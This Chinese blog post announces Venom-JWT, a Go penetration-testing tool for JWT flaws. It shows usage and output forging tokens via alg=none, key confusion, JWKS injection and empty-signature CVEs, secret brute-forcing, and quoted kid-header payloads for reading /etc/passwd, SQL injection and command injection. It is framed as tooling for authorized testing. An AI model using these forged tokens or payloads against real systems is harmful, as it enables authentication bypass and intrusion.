原创工具|Venom-JWT渗透工具 – 针对JWT漏洞和密钥爆破服务渗透测试

阿呆攻防 • 阅读原文 • • 文档

此文章只为学习而生，请勿干违法违禁之事，本公众号只在技术的学习上做以分享，开发个工具帮助进行项目上的渗透测试，所有行为与本公众号无关。

毒液Venom系列项目又+1，好耶。

后续开发的项目
渗透服务类工具Github：https://github.com/z-bool
安全研究类项目Github：https://github.com/SpringKill-team

01
工具简介

  • 项目名称：z-bool/Venom-JWT
  • 项目地址：
https://github.com/z-bool/Venom-JWT
  • 项目描述： 针对JWT渗透开发的漏洞验证/密钥爆破工具，针对CVE-2015-9235/未验证签名攻击/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042的结果生成用于FUZZ，也可使用字典/字符枚举的方式进行爆破
  • 项目优点：麻瓜式交互，脚本小子狂喜

02
工具介绍

该工具的诞生背景：

在平时公司项目渗透测试时，在做前后端分离项目的时经常会遇到JWT作为Token来进行权限校验，平时可以用jwt-tool等工具，但是仍不能一步到位，所以我这里使用go来开发一款一步到位的JWT渗透辅助工具，帮助大家进行越权测试。

该工具的应用场景是什么：

以JWT作为鉴权方式
通过生成的修改Payload的JWT结果粘贴进Repeater结果中进行验证，判断是否存在无需Secret即可利用的nday
在无nday的情况下，针对JWT的Secret进行爆破
该工具的优势是什么：

交互引导式参数运行/命令行参数指定运行=》两种运行方式
考虑大多针对JWT的漏洞存在的问题
可以根据ISSUE进行持续维护（你知道的呀，你们测试发现问题，只需要做做优化，卡卡巴适）

03
使用说明

打包

go mod tidy
cd cmd
go build.

命令行运行

.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
是否使用文件中的payload，默认为空使用角色内置字典（绑定模式2），模式3非空(绑定模式3)
-em int
secret加密模式NONE/MD5/16位MD5/BASE64(默认ALL=>0,NONE=>1,MD5=>2,16位MD5=>3,BASE64)
-fs string
爆破的默认字典，可以自行按猜测的规则修改(配合-fz 位数使用) (default “abcdefghijklmnopqrstuvwxyz0123456789”)
-fz int
字符爆破最大字符数（如果字符爆破要指定位数-fz）
-jbc string
需要修改的JWT body
-jm int
模式1：(未知Secret)修改Payload越权测试 模式2: (先测试模式1)PayloadFuzz越权测试 模式3：secret文本爆破 模式4：secret字符爆破（如果字符爆破要指定位数-fz）模式5：对JWT的Secret进行验证 (default 1)
-jwt.txt string
JWT字符串
-mz int
字符爆破最小字符数（如果字符爆破要指定位数-mz）,默认为1 (default 1)
-pem string
公钥pem的路径(最好绝对路径)
-pt int
选择模式：0为默认全执行，1为修改alg为none(CVE-2015-2951)，2为未验证签名导致的越权，3修改非对称密码算法为对称密码算法(CVE-2016-10555) 4为JWKS公钥注入–伪造密钥(CVE-2018-0114) 5 为空签名(CVE-2020-28042)
-s string
已知Secret，默认为空

交互式运行

.\cmd.exe
? 【前置选择】未知secret的情况下修改JWT测试越权，请选择模式:
[·] [Use arrows to move, type to filter]

模式1：(未知Secret)修改Payload越权测试
模式2：(先测试模式1)PayloadFuzz越权测试
模式3：secret文本爆破
模式4：secret字符爆破
模式5：对JWT的Secret进行验证

? 请输入你的JWT字符串:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {“alg”:”HS256″,”typ”:”JWT”}
JWT Payload: {“iss”:”admin”,”iat”:1701375177,”exp”:1701382377,”nbf”:1701375177,”sub”:”user”,”jti”:”a01707f44f7df8b5cbe5e129a0f5c311″}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8

? 【模式1】【模式2】未知secret的情况下修改JWT测试越权，请选择具体测试模式:
[·] [Use arrows to move, type to filter]

模式0：默认全执行
模式1：修改alg为none(CVE-2015-2951)
模式2：未验证签名导致的越权
模式3：修改非对称密码算法为对称密码算法(CVE-2016-10555)
模式4：JWKS公钥注入–伪造密钥(CVE-2018-0114)
模式5：空签名(CVE-2020-28042)

? 您在选择【模式1】【模式2】【模式5】中需要修改JWT的第二部分Payload中JSON字符串进行修改测试越权，请从上一步中复制Payload部分修改完后在此输入:
【模式1】【模式5】示例:{“username”:”admin”,”role”:”admin”}
【模式2】示例:{“usernmae”:”admin”,”role”:”FUZZ”}
请注意【模式2】中的FUZZ此处为字典替换位置，如果不修改可以直接为enter回车默认使用原Payload

? 请输入您搜集的公钥pem的文件路径(最好为绝对路径)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem

==============没secret修改Payload的越权测试===========

① 大部分情况在alg为HS256时候，可以将JWT改为none的情况(CVE-2015-9235)

[+]【alg为none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg为NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② 未验证签名攻击：修改Payload不校验

[+]【无效签名攻击】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击

[+] 【修改非对称密码算法为对称密码算法】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS公钥注入–伪造密钥(CVE-2018-0114)攻击

[+]【伪造密钥】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0–CDCf1bot–ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ 空签名(CVE-2020-28042)攻击

[+]【空签名】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
注意：所有JWT结果都已经保存在运行目录下的result.txt中，可以去重放Intruder测试是否为可行Token

① 大部分情况在alg为HS256时候，JWT改为none的情况(CVE-2015-9235)

② 未验证签名攻击：修改Payload不校验

③ 修改非对称密码算法为对称密码算法(CVE-2016-10555)攻击

④ JWKS公钥注入–伪造密钥(CVE-2018-0114)攻击

⑤ 空签名(CVE-2020-28042)攻击

可以直接进行Repeater重放FUZZ。

其余特殊漏洞发现：

在JWT的第一段解析时，如果发现出现其他参数，可能会产生其他漏洞会产生提示。

// Java的jjwt测试代码
public class JwtExample {
private static void disableKeyLengthCheck() throws Exception {
// 使用反射修改 SignatureAlgorithm.HS256 的 minKeyLength
Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField(“minKeyLength”);
minKeyLengthField.setAccessible(true);
minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // 将最小密钥长度设置为 0
}
public static void main(String[] args) throws Exception {
disableKeyLengthCheck();
// 原始密钥
String secret = “test@123”;

    JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
    HashMap<String, Object> stringObjectHashMap = new HashMap<>();
    stringObjectHashMap.put("test", "test");
    jwtBuilder.addClaims(stringObjectHashMap);
    System.out.println(jwtBuilder.compact());
}

}
生成结果：

eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

这里相关的漏洞(我从别的文章扒下来的，大家自己分析)

改 KID 参数

  1. 任意文件读取

KID参数用于读取密钥文件，但系统并不会知道用户想要读取的到底是不是密钥文件，所以，如果在没有对参数进行过滤的前提下，攻击者是可以读取到系统的任意文件的。

{ “typ”: “JWT”, “kid”: “/etc/passwd”, “alg”: “HS256”}
2、SQL注入
KID也可以从数据库中提取数据，这时候就有可能造成SQL注入攻击，通过构造SQL语句来获取数据或者是绕过signature的验证

{ “typ”: “JWT”, “kid”:”‘;select ‘Mw==’ from jwt_keys –“}

  1. 命令注入

对KID参数过滤不严也可能会出现命令注入问题，但是利用条件比较苛刻。如果服务器后端使用的是Ruby，在读取密钥文件时使用了open 函数，通过构造参数就可能造成命令注入。
{ “typ”: “JWT”, “kid”: “/path/to/key_file|whoami”, “alg”: “HS256”}
如果出现其他参数时候，也可以进行进一步分析。
再来看下爆破模块
随便网上找个字典。
测试JWT1(secret 123456):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

测试JWT2(jjwt secret test@123):
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

然后用JWT1来测试字符生成的效果:

这里我生成的4-6位的所有字典，输入为1234567890，由于演示没必要搞太大，大家可以自行测试，反正包快的。

这里会在当前目录下生成genFuzzDict.txt，因为生成的量会很大，本来使用线程池+生产消费者模式去处理的，但是实际运行后在4位开始就会由于内存不足导致程序崩溃，于是改进为文本保存读取方式，在程序匹配到密钥的时候就会自行退出不再读取文件。
再举例一个MD5的：
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

04
注意事项

根目录中的public_key.pem是测试模式3：修改非对称密码算法为对称密码算法(CVE-2016-10555)所必须填入的，如果页面JS中有泄露公钥的就使用页面中公钥保存的结果，如果没有就用这个进行替代来过一下生成，否则会报错
这里的所有目录路径都设置为绝对路径防止文件读取的时候存在读取bug导致进程报错，Windows用户可以直接拖入文件自动补全绝对路径，mac/linx用户路径输入更为方便了就不再论述。
如果有其他BUG问题，可以在“阿呆攻防”公众号后台私聊留言，或ISSUE提交，后台联系我我看到会及时协助修复

声明：文中观点不代表本站立场。本文传送门：https://eyangzhen.com/424743.html

0

作者专栏

阿呆攻防的头像

阿呆攻防

88 文章
这是一个个人技术分享号，本人从Java转岗安全，会从各方面进行一些安全推送，不多介绍，自己看即可。欢迎关注微信公众号：阿呆攻防
联系我们
联系我们
分享本页
返回顶部